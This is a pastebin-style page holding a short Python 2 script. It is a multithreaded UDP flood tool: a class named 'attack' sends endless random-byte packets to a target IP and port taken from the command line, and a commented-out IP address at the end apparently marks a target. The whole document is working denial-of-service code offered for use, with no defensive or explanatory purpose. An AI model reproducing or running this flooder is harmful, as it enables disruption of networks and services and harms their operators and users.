Facebook
From Beige Bat, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 217
  1. #!/usr/bin/python
  2. import socket
  3. import threading
  4. import random
  5. import sys
  6.  
  7. class attack(threading.Thread):
  8.      def __init__ (self, ip, port, psize):
  9.          threading.Thread.__init__(self)
  10.          self.ip = ip
  11.          self.port = port
  12.          self.psize = psize
  13.  
  14.      def run(self):
  15.          print "Thread initiated"
  16.          sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  17.          bytes = random._urandom(self.psize)
  18.          while True:
  19.              sock.sendto(bytes,(self.ip, self.port))
  20.  
  21.  
  22. if len(sys.argv) < 2:
  23.      print "Bad syntax"
  24.      sys.exit()
  25.  
  26. try:
  27.      threads = sys.argv[4]
  28. except NameError:
  29.      threads = 20
  30. except IndexError:
  31.      threads = 20
  32.  
  33. try:
  34.      if int(sys.argv[3]) > 0 and int(sys.argv[3]) <= 65500:
  35.          psize = int(sys.argv[3])
  36.          print psize
  37.      else:
  38.          psize = 1024
  39. except IndexError:
  40.      psize = 1024
  41.  
  42.  
  43. for host in range(int(threads)):
  44.      try:
  45.          port = sys.argv[2]
  46.      except IndexError:
  47.          port = random.randrange(1, 65535, 2)
  48.      at = attack(sys.argv[1], int(port), int(psize))
  49.      at.start()
  50.          
  51.          
  52.          #151.80.108.72